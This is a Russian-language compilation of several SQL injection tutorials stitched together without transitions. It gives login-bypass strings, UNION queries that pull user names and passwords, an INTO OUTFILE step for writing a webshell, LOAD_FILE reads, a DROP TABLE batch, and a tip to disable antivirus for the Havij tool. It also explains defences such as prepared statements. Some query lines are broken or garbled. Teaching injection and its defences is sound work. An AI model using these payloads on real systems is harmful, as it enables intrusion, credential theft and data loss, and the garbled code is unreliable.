Что такое SQL инъекция: изучаем на примерах
SQL инъекция — это атака, которая задействует динамические операторы SQL , вынося в комментарии определенные части инструкций или добавляя условие, которое всегда будет истинным. Она нацелена на дыры в архитектуре веб-приложений и использует операторы SQL для выполнения вредоносного SQL-кода :

В этой статье мы рассмотрим методы, используемые при SQL-инъекциях и способы защиты веб-приложений от таких атак.
Как работает SQL-инъекция
Типы атак, которые могут быть выполнены с использованием SQL-инъекции , различаются по типу поражаемых механизмов базы данных. Атака нацеливается на динамические операторы SQL . Динамический оператор — это оператор, который создается во время выполнения на основе параметров из веб-формы или строки запроса URI .
Рассмотрим простое веб-приложение с формой входа. Код HTML-формы приведен ниже:
- Форма принимает адрес электронной почты, а затем пароль отправляется в файл PHP с именем index.php ;
- Сессия хранится в файле cookie . Эта возможность активируется при установке флажка remember_me . Для отправки данных используется метод post . Это означает, что значения не отображаются в URL-адресе .
Предположим, что запрос для проверки идентификатора пользователя на стороне сервера выглядит следующим образом:
SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);
- Запрос использует значения массива $ _POST[] напрямую, не санируя его;
- Пароль шифруется с использованием алгоритма MD5 .
Мы рассмотрим атаку с использованием SQL инъекции sqlfiddle . Откройте в браузере URL-адрес http://sqlfiddle.com/ . На экране появится следующее окно.
Примечание : вам нужно будет написать инструкции SQL :

Шаг 1. Введите этот код в левую панель:
CREATE TABLE `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values ('m@m.com',md5('abc'));
Шаг 2. Нажмите кнопку « Build Schema ».
Шаг 3. Введите приведенный ниже код в правой панели:
select * from users;
Шаг 4. Нажмите « Run SQL ». Вы увидите следующий результат:

Предположим, что пользователь предоставляет адрес электронной почты admin@admin.sys и 1234 в качестве пароля. Запрос, который должен быть выполнен в базе данных, может выглядеть следующим образом:
SELECT * FROM users WHERE email = 'admin@admin.sys' AND password = md5('1234');
Приведенный выше код SQL инъекции примера может быть обойден путем выведения в комментарии части пароля и добавления условия, которое всегда будет истинным. Предположим, что злоумышленник подставляет следующие данные в поле адреса электронной почты:
xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ]
и xxx в поле пароля.
Сгенерированный динамический оператор будет выглядеть следующим образом:
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');
- xxx@xxx.xxx заканчивается одной кавычкой, которая завершает строку;
- OR 1 = 1 LIMIT 1 — это условие, которое всегда будет истинным, оно ограничивает возвращаемые результаты только одной записью.
0; ‘ AND … — это комментарий SQL , который исключает часть пароля.
Скопируйте приведенный выше запрос и вставьте его в текстовое поле SQL FiddleRun SQL , как показано ниже:

Хакерская активность: SQL-инъекции в веб-приложения
У нас есть простое веб-приложение, доступное по адресу http://www.techpanda.org/ , которое специально сделано уязвимым для атак с использованием SQL инъекций для новичков в демонстрационных целях. Код HTML-формы , приведенный выше, взят со страницы авторизации данного приложения.
Оно обеспечивает базовую безопасность, такую как санация поля электронной почты. Это означает, что приведенный выше код не может использоваться для обхода данного механизма.
Чтобы обойти его, можно использовать поле пароля. На приведенной ниже диаграмме показаны шаги, которые нужно выполнить:

Предположим, что злоумышленник предоставляет следующие данные:
Шаг 1 : Вводит xxx@xxx.xxx в качестве адреса электронной почты;
Шаг 2 : Вводит xxx’) OR 1 = 1 — ] ;

Нажимает кнопку « Отправить ».
Он будет направлен в панель администрирования. Сгенерированный запрос будет выглядеть следующим образом:
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') OR 1 = 1 -- ]');
На приведенной ниже диаграмме показано, как запрос был сгенерирован:

- В запросе предполагается, что используется шифрование md5 ;
- Используется закрывающаяся одиночная кавычка и скобка;
- К оператору добавляется условие, которое всегда будет истинным.
Как правило, злоумышленники для достижения своих целей пытаются применить в атаке с использованием SQL инъекций несколько различных методов.
Другие типы атак с использованием SQL-инъекций
SQL-инъекции могут нанести гораздо больший ущерб, чем вход в систему в обход механизма авторизации. Некоторые из таких атак могут:
- Выполнить удаление данных;
- Выполнить обновление данных;
- Выполнить добавление данных;
- Выполнить на сервере команды, которые будут загружать и устанавливать вредоносные программы;
- Выполнить экспорт на удаленный сервер злоумышленника ценных данных, таких как реквизиты кредитной карты, электронная почта и пароли.
Приведенный выше список не является полным. Он просто дает представление о том, какую опасность представляют SQL-инъекции .
Инструменты для автоматизации SQL-инъекций
В приведенном выше примере мы использовали методы ручной атаки. Перед тем, как сделать SQL инъекцию , нужно понимать, что существуют автоматизированные инструменты, которые позволяют выполнять атаки эффективнее и быстрее:
- SQLSmack ;
- SQLPing 2 ;
- SQLMap .
Защита от SQL инъекций
Вот несколько простых правил, которые позволят защититься от атак с использованием SQL-инъекций :
Ввод пользовательских данных не должен быть доверенным . Его всегда нужно санировать, прежде чем данные будут использоваться в динамических операциях SQL.
Хранимые процедуры — они могут инкапсулировать SQL-запросы и обрабатывать все входные данные в качестве параметров.
Подготовленные запросы — сначала создаются запросы, а затем все предоставленные пользовательские данные обрабатываются в качестве параметров. Это не влияет на синтаксис инструкции SQL .
Регулярные выражения — могут быть использованы для обнаружения потенциально вредоносного кода и его удаления перед выполнением операторов SQL .
Права доступа на подключение к базе данных – чтобы защититься от SQL инъекций , учетным записям, которые используются для подключения к базе данных, должны предоставляться только необходимые права доступа. Это поможет ограничить действия, которые SQL-операторы могут выполнять на сервере.
Сообщения об ошибках — не должны раскрывать конфиденциальную информацию. Простые пользовательские сообщения об ошибках, такие как « Извините, возникла техническая ошибка. Служба поддержки уже уведомлена о ней. Повторите попытку позже », можно использовать вместо отображения запросов SQL , вызвавших ошибку.
Хакерская активность: использование для SQL-инъекций Havij
В этом практическом сценарии мы собираемся использовать программу Havij Advanced SQL Injection для сканирования уязвимостей сайта.
Примечание . Ваша антивирусная программа может реагировать на эту программу в силу ее природы. Поэтому необходимо добавить ее в список исключений или приостановить работу антивирусного программного обеспечения:

Упомянутый выше инструмент можно использовать для оценки уязвимости / приложения.
Заключение
- SQL инъекции — это тип атак, который задействует ненадежные запросы SQL ;
- SQL-инъекции могут использоваться для обхода алгоритмов авторизации, извлечения, вставки, обновления и удаления данных;
- Перечень инструментов для SQL-инъекций включает в себя SQLMap , SQLPing и SQLSmack и другие;
- Продуманная политика безопасности при написании запросов поможет защититься от атаки с использованием SQL-инъекций .
SQL injection для начинающих. Часть 1

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.
Предисловие
Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов — для запоминания.
Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры — как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.
Что же такое SQL инъекция?
Говоря простым языком — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:
Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи — Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни 🙂 Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.
Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php
Поиск SQL injection
Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!
Числовой входящий параметр
Для практики нам понадобится скрипт index1.php. Как я уже говорил выше, подставляем кавычки в ID новости.
Т.к. у нас запрос не имеет фильтрации:
$id = $_GET['id']; $query = "SELECT * FROM news WHERE поймет это как
SELECT * FROM news WHERE color=»#ff0000″>’
И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16
Если ошибку не выдало — могут быть следующие причины:
1.SQL инъекции здесь нет — Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.
Если все же ошибку вывело — Ура! Мы нашли первый вид SQL инъекции — Числовой входящий параметр.
Строковой входящий параметр
Запросы будем посылать на index2.php. В данном файле, запрос имеет вид:
$user = $_GET['user']; $query = "SELECT * FROM news WHERE user='$user'";
Тут мы делаем выборку новости по имени пользователя, и опять же — не фильтруем.
Опять посылаем запрос с кавычкой:
Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит — приступим к практике.
Приступаем к действиям
Немного теории
Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак » — » считается комментарием в языке SQL.
ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20
Всё, что идет после комментария — будет отброшено То есть запрос:
SELECT * FROM news WHERE user=’AlexanderPHP’ — habrahabra
Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:
Выучите параметр UNION. В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.
Извлекаем из этого пользу
Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php.
Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.
Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.
Подбираем количество полей
Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.
GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY
Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:
sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.
Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 — ошибка, Значит кол-во полей равно 5
Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.
Вывод данных
Допустим мы знаем, что еще существует таблица users в которой существуют поля id, name и pass.
Нам нужно достать Информацию о пользователе с построим такой запрос:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE >
Скрипт также продолжает выводить
Для этого, мы подставим название полей, за место цифр 1 и 3

sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE >
Получили то — что требовалось!
Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1′ UNION SELECT name,2,pass,4,5 FROM users WHERE —%20
Чтение/Запись файлов
Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1′ UNION SELECT 1,2,3,4,5 INTO OUTFILE ‘1.php’ —%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1′ UNION SELECT 1,»,3,4,5 INTO OUTFILE ‘1.php’ —%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE, за место того поля, которое мы выбираем:
sqlinj/index2.php?user=-1′ UNION SELECT 1,LOAD_FILE(‘1.php’),3,4,5 —%20
Таким образом, мы прочитали предыдущий записанный файл.
Способы защиты
Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET['id'];
Как подсказал пользователь malroc. Защищаться использованием PDO или prepared statements.
Вместо завершения
На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.
Что нужно знать об SQL-инъекциях

SQL-инъекции — термин для обозначения одного из наиболее распространённых типов атаки на сайты. Сообщество по обеспечению безопасности OWASP включило его в десятку самых известных методов атак, в числе которых также межсайтовый скриптинг, использование компонентов с известными уязвимостями, непроверенные переадресации.
SQL-инъекции часто применяют для получения доступа к веб-ресурсам хакеры и пентестеры. Этот метод появился более 20 лет назад, но SQL-инъекции по-прежнему применяются, и довольно успешно. Угрозе подвергаются те веб-сайты, что не защищены безопасным кодированием.
В этой статье мы расскажем, как именно действуют SQL-инъекции и в чём их вред. Если вы совсем не знакомы с этой тематикой, и что-то будет для вас непонятно, ниже мы подробно рассмотрим азы. Там будет информация о реляционных базах данных и о том, как формируются SQL-запросы.
Принцип действия SQL-инъекций
Задача хакера — попытаться изменить SQL-выражение, которое веб-сервис направляет в БД. Для этого в форму аутентификации для пользователя поставляются специальные данные. Ниже приведем несколько примеров для наглядности.
Пример атаки с SQL-инъекцией
Вводимые пользователем в форму имя и пароль всегда сверяются с данными из БД. Если там всё верно и нет никаких ошибок, то веб-страница разрешит ему доступ.
В БД отправляется такой SQL-запрос:
SELECT * FROM users WHERE username=’ProvidedUsername’ and password=’ProvidedPassword’;
В этом случае произойдёт извлечение из таблицы users всех тех записей, где указано имя пользователя ProvidedUsername, а пароль — ProvidedPassword. Если в таблице найдётся запись, соблюдающая оба этих условия, то пользователь правильно ввёл имя и пароль. А значит, ему откроется доступ.
Теперь предположим, что вместо имени пользователь введёт вот это:
А вместо пароля — случайный набор символов (неважно, что будет вписано в это поле, ниже мы об этом скажем).
Приложение сформирует следующее SQL-выражение:
SELECT * FROM users WHERE username=’a’ OR 1=1;—’ and password=’RandomPass’;
При обработке этого запроса БД извлечёт запись из таблицы с именем users, если в ней имя пользователя указано как a. Она будет извлечена и в случае выполнения второго условия — если выражение 1=1 верно. То есть тут используется принцип «верно это значение ИЛИ то значение». А так как 1=1 верно всегда, при вводе такого запроса будут извлечены все записи из таблицы.
Обратите также внимание на дублирующийся дефис в SQL-выражении. Его используют для комментариев — получается, что остальная часть строки будет закомментирована. То есть БД её обрабатывать не будет.
Получается, что БД выполнит только эту часть запроса:
SELECT * FROM users WHERE username=’a’ OR 1=1;—’ and password=’RandomPass’;
При обработке запроса БД извлечёт список записей, которые отличаются от NULL. Следовательно, пользователь получит доступ.

Подробнее о реляционных базах данных
Рассмотрим реляционные базы данных (БД). В них хранится информация, представленная в виде двухмерных таблиц. В каждой содержатся столбцы и строки. В строках (записях) будут размещаться описания каждого отдельного свойства объекта, а столбцы (атрибуты) нужны для извлечения определённых свойств из строки.
Пример. Рассмотрим таблицу с названием users.

Здесь мы видим три столбца — Id, User, Password. В этой таблице есть две строки.
Сведения из таблицы напоминают нам учётные данные пользователей. Когда они внесут своё имя и пароль в форму на сайте, система сверит их с информацией, которая хранится в такой таблице. И если они там будут обнаружены, то пользователю откроется доступ к приватной странице.
Мы привели самый простой пример реляционной БД. Но в основном они многосложные — с комплексом таблиц, а в них порой миллионы столбцов и строк. При этом таблицы часто взаимосвязаны с помощью внешних ключей. Эти ключи нужны для того, чтобы ссылаться на определённые данные из других таблиц.
Синтаксис языка SQL-запросов
Язык SQL нужен для управления реляционными БД. Его используют для просмотра, добавления, обновления и удаления данных.
Базовые SQL-выражения
Веб-сайты используют SQL-запросы для получения сведений из БД. В начале каждого из них всегда прописывается какая-то команда.
Пример. Перед нами SQL-выражение:
SELECT * FROM users;
В начале стоит команда SELECT — она нужна для получения данных из БД. Но эта команда сама по себе не даёт точной инструкции, а только определяет требования к возвращаемому набору данных. Поэтому она нуждается в дополнительных уточнениях. Для этого после неё здесь следует символ звёздочки, обозначающей обращение к данным сразу из всех столбцов таблицы.
Далее идёт ключевое слово FROM и название таблицы — users. Это значит, что данные будут извлекаться ИЗ таблицы именно с этим именем.
Читается это SQL-выражение так:
Извлечь данные всех столбцов из таблицы users.
А сейчас попробуем разнообразить этот SQL-запрос:
SELECT * FROM users WHERE user=’Mary’;
Мы даём здесь следующую команду: получить только те записи, где в качестве имени пользователя указано слово Mary.
Команды и ключевые слова SQL
Сейчас мы перечислим самые популярные команды и ключевые слова SQL. Вам не обязательно очень хорошо знать их, чтобы разобраться в теме SQL-инъекций. Однако всё же стоит изучить и эту информацию более детально.
- SELECT получает данные. Эта команда определяет список возвращаемых столбцов, их имена. Также она устанавливает ограничения — на уникальность строк или на количество строк в данных.
- INSERT INTO добавляет записи. Они будут загружаться в указанную таблицу БД.
- UPDATE обновляет записи. Команда вносит изменения в уже существующие строки таблицы.
- DELETE удаляет записи. Требуется для того, чтобы убрать из таблиц в БД ненужные строки.
- CREATE TABLE создаёт таблицу. В БД будет добавлена новая таблица.
- FROM задаёт выражение. Оно будет определять базовый набор данных для применения операций, указанных в других предложениях запроса.
- WHERE задаёт ограничение. Команда фильтрует записи по конкретному условию.
- ORDER BY сортирует данные. Речь идёт о сведениях, полученных командой SELECT. После этого отсортированные записи попадают в точку вызова.
Что нужно запомнить
SQL-инъекция — это метод атаки на сайты.
Язык SQL нужен для управления реляционными БД.
В языке SQL есть запросы, состоящие из команд и ключевых слов.
Принцип действия SQL-инъекции — изменение SQL-выражения, которое веб-приложение направляет в БД.
SQL Инъекция
SQL инъекция — это метод инъекции кода, который может разрушить вашу базу данных.
SQL инъекция является одним из наиболее распространенных методов взлома веб-страниц.
SQL инъекция — это размещение вредоносного кода в SQL инструкции с помощью ввода веб страницы.
В Веб странице
Инъекция обычно происходит, когда вы просите пользователя ввести данные, например его имя пользователя/идентификатор пользователя, и вместо имени/идентификатора пользователь дает вам инструкцию SQL, которую вы неосознанно запускаете к своей базе данных.
Посмотрите на следующий пример, который создает оператор SELECT, добавляя переменную (txtUserId) в строку select. Переменная извлекается из пользовательского ввода (getRequestString):
Пример
txtUserId = getRequestString(«UserId»);
txtSQL = «SELECT * FROM Users WHERE UserId = » + txtUserId;
Остальная часть этой главы описывает потенциальные опасности использования пользовательского ввода в инструкции SQL.
Инъекция, основанная на 1=1, всегда true
Еще раз взгляните на приведенный выше пример. Первоначальная цель кода состояла в том, чтобы создать инструкцию SQL для выбора пользователя с заданным идентификатором пользователя.
Если нет ничего, что могло бы помешать пользователю ввести «Неправильный» ввод, пользователь может ввести какой-то «Умный» ввод, например:
Тогда оператор SQL будет выглядеть следующим образом:
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
Приведенный выше SQL является допустимым и возвращает все строки из таблицы «Users», так как OR 1=1 всегда истинно.
Разве приведенный выше пример выглядит опасным? Что делать, если таблица «Users» содержит имена и пароли?
Приведенная выше инструкция SQL во многом совпадает с этой:
SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1;
Хакер может получить доступ ко всем именам пользователей и паролям в базе данных, просто вставив 105 OR 1=1 в поле ввода.
Инъекция, основанная на «»=»», всегда true
Вот пример входа пользователя на веб сайте:
Пример
uName = getRequestString(«username»);
uPass = getRequestString(«userpassword»);
sql = ‘SELECT * FROM Users WHERE Name =»‘ + uName + ‘» AND Pass =»‘ + uPass + ‘»‘
Результат
SELECT * FROM Users WHERE Name =»Щипунов Андрей» AND Pass =»мой_пароль»
Хакер может получить доступ к именам пользователей и паролям в базе данных, просто вставив » OR «»=» в текстовое поле пользователя или парол:
Результат
SELECT * FROM Users WHERE Name =»» or «»=»» AND Pass =»» or «»=»»
Приведенный выше SQL является допустимым и возвращает все строки из таблицы «Users», так как OR»=»» всегда имеет значение TRUE.
Инъекция на основе пакетных инструкций SQL
Большинство баз данных поддерживают пакетный инструкций SQL.
Пакет инструкций SQL — это группа из двух или более инструкций SQL, разделенных точкой с запятой.
Приведенная ниже инструкция SQL вернет все строки из таблицы «Users», а затем удалит таблицу «Suppliers».
Пример
SELECT * FROM Users; DROP TABLE Suppliers
Посмотрите на следующий пример:
Пример
txtUserId = getRequestString(«UserId»);
txtSQL = «SELECT * FROM Users WHERE UserId = » + txtUserId;
И следующие входные данные:
Допустимая инструкция SQL будет выглядеть следующим образом:
Результат
SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;
Используйте параметры для защиты
Для защиты веб сайта от SQL инъекции можно использовать параметры SQL.
Параметры SQL — это значения, которые добавляются в SQL запрос во время выполнения контролируемым образом.
Пример ASP.NET Razor
txtUserId = getRequestString(«UserId»);
txtSQL = «SELECT * FROM Users WHERE UserId = @0»;
db.Execute(txtSQL,txtUserId);
Обратите внимание, что параметры представлены в инструкции SQL маркером @.
Механизм SQL проверяет каждый параметр, чтобы убедиться, что он является правильным для своего столбца и обрабатывается буквально, а не как часть SQL, подлежащего выполнению.
Пример другой
txtNam = getRequestString(«CustomerName»);
txtAdd = getRequestString(«Address»);
txtCit = getRequestString(«City»);
txtSQL = «INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)»;
db.Execute(txtSQL,txtNam,txtAdd,txtCit);
Примеры
В следующих примерах показано, как создавать параметризованные запросы на некоторых распространенных веб языках.
SELECT STATEMENT IN ASP.NET:
txtUserId = getRequestString(«UserId»);
sql = «SELECT * FROM Customers WHERE CustomerId = @0»;
command = new SqlCommand(sql);
command.Parameters.AddWithValue(«@0»,txtUserID);
command.ExecuteReader();
INSERT INTO STATEMENT IN ASP.NET:
txtNam = getRequestString(«CustomerName»);
txtAdd = getRequestString(«Address»);
txtCit = getRequestString(«City»);
txtSQL = «INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)»;
command = new SqlCommand(txtSQL);
command.Parameters.AddWithValue(«@0»,txtNam);
command.Parameters.AddWithValue(«@1»,txtAdd);
command.Parameters.AddWithValue(«@2»,txtCit);
command.ExecuteNonQuery();
INSERT INTO STATEMENT IN PHP:
$stmt = $dbh->prepare(«INSERT INTO Customers (CustomerName,Address,City)
VALUES (:nam, :add, :cit)»);
$stmt->bindParam(‘:nam’, $txtNam);
$stmt->bindParam(‘:add’, $txtAdd);
$stmt->bindParam(‘:cit’, $txtCit);
$stmt->execute();